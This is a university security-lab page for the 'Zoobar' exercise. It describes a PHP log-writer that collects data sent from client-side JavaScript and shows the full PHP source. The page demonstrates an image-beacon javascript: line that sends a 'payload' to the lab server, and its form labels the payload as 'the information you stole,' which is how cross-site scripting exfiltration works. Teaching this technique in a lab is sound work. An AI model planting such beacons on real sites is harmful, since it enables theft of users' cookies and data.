Zoobar Log-Writer

You can use this server side script to store automated log data from client-side JavaScript. For example, clicking this client-side hyperlink will cause data to be stored on our web server and be accessible in the log. 

javascript:void((new Image()).src='http://cyber-vm-lab-server.eecs.kth.se/zoobar/log-writer.php?' + 'to=' + '&payload=' + '&random=' + Math.random());

The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding. The void(...); construct prevents the browser from navigating to a new page consisting of the contents of the expression (which is what it normally does when it encounters a non-void expression like javascript:2+2).

Test form

If you just want to try out the script, you can use this form. (For the programming project, you'll probably want to use the JavaScript image technique shown above.)

To:
Payload:

Source code

In case you are curious, here is the source code of this page.

<?php
$to = $_GET['to'] ? $_GET['to'] : "";
$payload = $_GET['payload'] ? $_GET['payload'] : "";
$to = filter_var($to, FILTER_SANITIZE_STRING);
$payload = filter_var($payload, FILTER_SANITIZE_STRING);
$ip = $_SERVER['REMOTE_ADDR'];
$filelog = "/tmp/logfile.txt";
?>
<!DOCTYPE html> 

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<link rel="stylesheet" type="text/css" href="labs.css" />
	<title>Zoobar Log-Writer</title>
	<link rel="stylesheet" href="../style.css"/>
</head>

<body>
	<h1>Zoobar Log-Writer</h1>
	<p> You can use this server side script to store automated log data
	from client-side JavaScript. For example, clicking this client-side hyperlink
	will cause data to be stored on our web server and be
	accessible in the <a href="log.php">log</a>.  </p>
<?php 
$link = "javascript:void((new" .
	" Image()).src=" . 
	"'http://cyber-vm-lab-server.eecs.kth.se/zoobar/log-writer.php?'" . 
	" + 'to=$to' + '&amp;payload=$payload'" .
	" + '&amp;random=' + Math.random());";
echo "<pre><a href=\"$link\">$link </a></pre>"
?>
	<p>
	The random argument is ignored, but ensures that the browser bypasses
	its cache when downloading the image. We suggest that you use the random
	argument in your scripts as well. Newlines are not allowed in <span
	style="font-family: monospace;">javascript:</span> links; if this bothers you,
	try <a href="http://scriptasylum.com/tutorials/encode-decode.html">URL
	encoding</a>.  The <code>void(...);</code> construct prevents the browser from
	navigating to a new page consisting of the contents of the expression (which is
	what it normally does when it encounters a non-void expression like 
	<code><a href="javascript:2+2">javascript:2+2</a></code>). 
	</p>
	<hr/>

	<h2>Test form</h2>
	<p>
	If you just want to try out the script, you can use this form.  (For the
	programming project, you'll probably want to use the JavaScript image technique
	shown above.)
	</p>
	<form method="get">
		<b>To:</b> 
		<input name="to" size="40" placeholder="Your alias, for finding your entry in the log."/>
		<br/>
		<b>Payload:</b>
		<input name="payload" size="40" placeholder="Your payload, the information you stole." />
		<br/>
		<input type="submit" value="Store" name="send_submit" />
	</form>
<?php
	if($to) {
		$fp = fopen($filelog, "a");

		// https://www.php.net/manual/en/function.flock.php
		if (flock($fp, LOCK_EX)) {  // acquire an exclusive lock
			$nowstr = date('Y-m-d H:i:s');
			fwrite($fp, "$nowstr <> $to <> $payload <> $ip\n");
			fflush($fp);            // flush output before releasing the lock
			flock($fp, LOCK_UN);    // release the lock
		} else {
			echo "<br/>Couldn't get the lock!!!";
			exit(-1);
		}

		fclose($fp);

		echo "<br/><a href='log.php'>Saved, see the print here!</a>";
	}
?>
	<hr/>
	<h2>Source code</h2>
	<p>In case you are curious, here is the source code of this page.</p>
	<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
</body>
</html>